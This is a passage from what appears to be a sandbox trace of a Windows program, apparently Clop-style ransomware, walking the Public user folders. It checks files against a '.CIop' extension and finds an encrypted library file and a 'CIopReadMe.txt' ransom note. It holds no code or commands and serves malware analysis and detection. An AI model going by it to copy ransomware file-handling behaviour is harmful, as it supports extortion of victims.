Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0118.109] SetErrorMode (uMode=0x1) returned 0x1 [0118.109] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0118.109] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0118.109] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0118.109] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0118.109] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.110] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0118.110] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0118.110] lstrlenW (lpString=".CIop") returned 5 [0118.110] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.110] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.110] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.110] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0118.110] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0118.110] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.110] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0118.110] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0118.110] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.110] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.110] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.110] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.110] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0118.110] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0118.110] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0118.110] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0118.110] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0118.110] SetErrorMode (uMode=0x1) returned 0x1 [0118.110] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0118.110] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0118.110] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0118.110] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0118.110] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.110] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0118.110] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0118.110] lstrlenW (lpString=".CIop") returned 5 [0118.110] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.110] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.110] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.110] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0118.110] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0118.110] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0118.110] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0118.110] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0118.110] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.110] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.110] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0118.111] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.111] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0118.111] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0118.111] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.111] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0118.111] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0118.111] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.111] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0118.111] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0118.111] SetErrorMode (uMode=0x1) returned 0x1 [0118.111] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0118.111] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0118.111] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Downloads\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0118.111] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0118.111] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e2b8 [0118.112] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0118.112] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0118.112] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.112] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.112] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.112] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.112] lstrlenW (lpString="desktop.ini") returned 11 [0118.112] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.112] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.112] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.112] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0118.112] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0118.112] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dc78 [0118.112] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0118.112] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0118.112] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.112] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.112] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.112] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.112] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0118.112] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0118.112] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.112] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0118.112] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0118.112] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.112] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0118.112] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0118.112] SetErrorMode (uMode=0x1) returned 0x1 [0118.113] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0118.113] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0118.113] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Libraries\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0118.113] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0118.113] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e0b8 [0118.113] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0118.113] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0118.113] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.113] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.113] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.113] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.113] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.113] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.113] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.113] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.113] lstrlenW (lpString="desktop.ini") returned 11 [0118.113] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.113] lstrcmpW (lpString1="RecordedTV.library-ms.CIop", lpString2="..") returned 1 [0118.113] lstrcmpW (lpString1="RecordedTV.library-ms.CIop", lpString2=".") returned 1 [0118.113] lstrlenW (lpString=".CIop") returned 5 [0118.113] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.113] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0118.113] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0118.113] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0118.113] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0118.113] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e2b8 [0118.113] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0118.113] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0118.114] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.114] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.114] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.114] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.114] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.114] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.114] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.114] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.114] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.114] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0118.114] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0118.114] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.114] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0118.114] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0118.114] SetErrorMode (uMode=0x1) returned 0x1 [0118.114] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0118.114] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0118.114] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Music\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0118.114] lstrcatW (in: lpString1="C:\\Users\\Public\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0118.114] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67db78 [0118.114] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0118.114] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0118.114] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.114] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.114] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.114] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.114] lstrlenW (lpString="desktop.ini") returned 11 [0118.114] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.114] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0118.114] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0118.115] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0118.115] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0118.115] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e0b8 [0118.115] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0118.115] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0118.115] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.115] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.115] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.115] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.115] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0118.115] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0118.115] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.115] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0118.115] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0118.115] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.115] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0118.115] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0118.115] SetErrorMode (uMode=0x1) returned 0x1 [0118.115] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0118.115] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0118.115] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Pictures\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0118.115] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0118.115] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67ddb8 [0118.115] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0118.115] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0118.115] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.115] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.115] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.115] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.115] lstrlenW (lpString="desktop.ini") returned 11 [0118.115] FindNextFileW (in: hFindFile=0x67ddb8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.116] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 1 [0118.116] FindClose (in: hFindFile=0x67ddb8 | out: hFindFile=0x67ddb8) returned 0 [0118.116] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0118.116] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0118.116] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dbf8 [0118.116] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0118.116] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0118.116] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.116] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.116] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.116] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.116] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0118.116] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0118.116] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0118.116] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0118.116] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0118.116] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0118.116] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0118.116] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0118.116] SetErrorMode (uMode=0x1) returned 0x1 [0118.116] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0118.116] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0118.116] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Videos\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0118.116] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0118.116] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dc78 [0118.117] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0118.117] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0118.117] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.117] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.117] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.117] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.117] lstrlenW (lpString="desktop.ini") returned 11 [0118.117] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.117] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 1 [0118.117] FindClose (in: hFindFile=0x67dc78 | out: hFindFile=0x67dc78) returned 0 [0118.117] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0118.117] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0118.117] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67dd78 [0118.117] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0118.117] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0118.117] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.117] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.117] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.117] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.117] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0118.117] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0118.117] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0118.117] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 